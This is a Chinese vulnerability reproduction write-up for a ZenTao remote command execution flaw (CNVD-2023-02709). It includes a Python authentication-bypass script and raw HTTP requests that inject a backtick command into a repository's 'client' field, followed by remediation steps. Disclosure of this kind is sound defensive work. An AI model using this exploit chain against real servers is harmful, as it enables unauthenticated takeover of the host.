# 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709

## 漏洞描述

禅道项目管理系统存在远程命令执行漏洞，该漏洞源于在认证过程中未正确退出程序，导致了认证绕过，并且后台中有多种执行命令的方式，攻击者可利用该漏洞在目标服务器上注入任意命令，实现未授权接管服务器。

## 漏洞影响

```
杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4，<=18.0.beta1（开源版）
杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4，<=8.0.beta1（企业版）
杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4，<=4.0.beta1（旗舰版）
```

## 漏洞复现

权限绕过：

```
import requests

header={
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}

def bypasscookie(url,session):
    target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
    r=session.get(target,headers=header)
    zentaosid=r.cookies.get_dict()['zentaosid']
    print(zentaosid)

    header["Cookie"]="zentaosid="+zentaosid
    resp=session.get(url+"/index.php?m=my&f=index",headers=header)
    if "/shandao/www/index.php?m=user&f=login" not in resp.text:
        print("绕过登陆验证")
    else:
        print("无法绕过验证")



if __name__ == '__main__':
    url="http://127.0.0.1:8081/shandao/www/"
    session=requests.Session()
    bypasscookie(url,session)
```

后台RCE：

先创建Gitlab代码库,拿到repoID

```
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68
```

创建好后，去到
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑

```
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://127.0.0.1:8081
Connection: close
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
```

## 漏洞修复

1. 进行官方升级：https://www.zentao.net/book/zentaoprohelp/41.html
2. 安全产品升级：部分厂商安全产品具备识别该漏洞功能，进行版本升级至最新版。
3. 临时防护措施：可在 module/common/model.php 文件中 echo $endResponseException->getContent();后面加上 exit(); 来修复权限绕过漏洞。